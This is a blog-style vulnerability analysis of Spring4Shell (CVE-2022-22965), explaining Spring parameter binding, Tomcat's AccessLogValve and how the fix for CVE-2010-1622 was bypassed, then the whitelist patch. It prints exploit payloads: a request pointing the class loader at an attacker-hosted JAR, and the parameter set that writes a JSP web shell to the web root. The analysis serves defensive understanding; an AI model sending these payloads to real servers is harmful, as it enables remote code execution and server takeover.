Anatomy Of Spring4Shell CVE-2022–22965

Yani
InfoSec Write-ups
Published in
6 min readMay 20, 2022

--

On March 29, 2022, a critical remote code execution vulnerability was disclosed in Spring Framework, a very popular open-source framework for Java. This vulnerability was designated as CVE-2022–22965, and it stems from the patch to fix another remote code execution in 2010 which was assigned as CVE-2010–1622. The loose restriction to resolve CVE-2010–1622 paved the way for CVE-2022–22965. This blog post will analyze how the patch of CVE-2010–1622 got bypassed and resulted in CVE-2022–22965. At the end, you will see the solution offered by Spring Framework to address the vulnerability for both CVE-2010–1622 and CVE-2022–22965.

Prerequisite Knowledge

Tomcat AccessLogValve

One of requirements for CVE-2022–22965 is that Apache Tomcat acts as a Servlet container in the vulnerable web application.

Tomcat uses org.apache.catalina.valves.AccessLogValve to manage access_log file settings and there is a related configuration in conf/server.xml file that is shipped with Tomcat.

<Valve className="org.apache.catalina.valves.AccessLogValve" directory="logs"
prefix="localhost_access_log" suffix=".txt"
pattern="%h %l %u %t &quot;%r&quot; %s %b" />

Some key options of AccessLogValve are listed as below:

directory: The absolute or relative pathname of the directory where log files created by this Valve will be placed. If a relative path is specified, it is interpreted as relative to $CATALINA_BASE. If no catalog attribute is specified, the default is “logs” (relative to $CATALINA_BASE).

prefix: Prefix added to the beginning of each log file name. If not specified, the default value is “access_log”.

pattern: A format layout that identifies various fields of information in requests and responses to be logged, or selects common words combined.

suffix: Suffix added to the end of each log file name. If not specified, the default is “” (a zero-length string), meaning no suffix will be added.

fileDateFormat: Allows custom timestamps in access log filenames. The file rotates whenever the formatted timestamp changes. The default value is .yyyy-MM-dd. If you want to rotate every hour, then set this value to .yyyy-MM-dd.HH.

Note: Modifying fileDateFormat triggers the log file switch.

The exploits of CVE-2022–22965 make use of AccessLogValve class, referencing the instance of this class and modifying its attributes at runtime. We will see it again in the CVE-2022–22965 payloads.

About JavaBean Parameter Binding

CVE-2022–22965 only affects Spring default binding. Spring uses data binding to parse HTTP requests. The submitted parameters can be dynamically bound to a java bean object automatically which performs type conversion and value assignment.

A simple example is used to explain how parameter binding works. There is a very basic web application containing ExploitMeController.java, User.java and Department.java, each of them is defined respectively as below:

ExploitMeController.java

@Controller
public class ExploitMeController {

@GetMapping("/exploitme")
public String exploitMeForm(User user, Model model) {
System.out.println(user);
return "hello";
}
}

User.java

public class User {
private String name;
private Department department;

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

public Department getDepartment() {
return department;
}

public void setDepartment(Department department) {
this.department = department;
}
}

Department.java

public class Department {
private String name;

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}
}

When the below request is made from client:

http://localhost:8080/spring4shell/exploitme?name=APP&department.name=SEC

name is bound to user.name and deparment.name is bound to user.deparment.name.

The binding process for department.name in HTTP request parameter is simplified to the following method chain:

User.getDepartment()
Department.setName() //it is setName

If take it a step further, change the request parameter for the above application to be a.b.c.d , the method chain becomes (assume all accessors and mutators of each object in the method chain are defined) :

User.getA()
a.getB()
b.getC()
c.setD() //it is setD

Prelude: CVE-2010–1622

With some basic knowledge of parameter binding, we will take a look into CVE-2010–1622. The crux of CVE-2010–1622 is outlined as below:

  1. All Java objects implicitly contain a getClass() method that returns the runtime Class object describing the object’s class.
  2. Class objects have a getClassLoader() accessor to get ClassLoader object. ClassLoader is responsible for loading classes.
  3. Tomcat has its own class loader for its web applications. This class loader contains various members. One of them is URLs, which is an array of URLs the class loader uses to retrieve resources.
  4. If the URL is overwritten with another URL pointing to an attacker-controlled JAR file, it can cause Tomcat to load the JAR file remotely.

The following exploitation example explains how the vulnerability was manipulated in the wild:

  1. An attacker creates exp.jar and makes it available via http://attacker/exp.jar. This jar should contains 2 kinds of files:
  • spring-form.tld defining some tags and specifying these tags are implemented as tag files.
  • tag files containing arbitrary Java code.

2. The attacker sends the HTTP request with the crafted parameter: http://demo/login?class.classLoader.URLs[0]=jar:http://attacker/exp.jar!/ .

At this point, the zeroth element of the WebApp ClassLoader’s repositoryURLs property is overwritten with the attacker’s URL.

3. On the server side, the exp.jar is downloaded, tags defined in the tld file are resolved and remote code execution follows.

Patch for CVE-2010–1622

The culprit of the vulnerability was parameter binding. The classLoader contains many members that can be set externally at runtime, as a result it creates a number of security concerns. Spring released a patch to deny classLoader in this case.

The patch was highlighted in the green rectangle in CachedIntrospectionResults method, pd is a java.beans.PropertyDescriptor instance which describes properties (name/getter/setter/…) of a Java bean.

When class.classLoader in the exploitation payload http://localhost/login?class.classLoader.URLs[0]=jar:http://attacker/exp.jar!/ gets bound, it hits the conditions: Class.class == beanClass and “classLoader”.equals(pd.getName()) (i.e. property name is classLoader), so class.classLoader would not resolve, thwarting the attack.

In the simplified parameter binding method chain, the patch works as below:

Demystify CVE-2022–22965

Now it is time for CVE-2022–22965. A multitude of blog posts provided POC for CVE-2022–22965, for example https://checkmarx.com/resources/homepage/springshell-remote-code-execution-via-spring-web.

The typical payloads look like below:

class.module.classLoader.resources.context.parent.pipeline.first.pattern=[Web shell code]
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

class.module.classLoader.resources.context.parent.pipeline.first.* corresponds to Tomcat AccessLogValve class that outputs the access log to a file as mentioned in Background Knowledge section. It is the module system introduced by JDK 9 (this also explains why the scope of this vulnerability is JDK 9+).

We can modify AccessLogValve properties via HTTP request parameter, such as class.module.classLoader.resources.context.parent.pipeline.first.pattern to create a JSP file with malicious code in the webapps/ROOT directory. More info about POC can be easily found online.

In the below diagram, the method chain during the parameter binding process for the payload class.module.classLoader.resources.context.parent.pipeline.first.pattern showcases how it bypasses the patch of CVE-2010–1622(in the green rectangle):

Solution

The fix for CVE-2010–1622 was incomplete so a new path to exploit the legacy flaw emerges. Now the bug has been fixed in both Spring Framework 5.3.18 and 5.2.20, the main patch is as following:

The change (introduction of module system in JDK 9) made to Java invalidated the Spring Framework blacklisting method for CVE-2010–1622. From the above code change, it was seen that the blacklisting method in the fix for CVE-2010–1622 was replaced with whitelisting method to only allow safe Class properties. Whitelisting is a much stricter approach than blacklisting, it was used as a more adequate solution for the reported attack vector. But unfortunately, in complex frameworks like Spring Framework, denying dangerous functionalities is still prevalent.

--

--

Focusing on Security for Web Application, AWS and Kubernetes, etc. | CKA&CKS, AWS Security & ML Specialty | https://www.linkedin.com/in/yani-dong-041a1b120/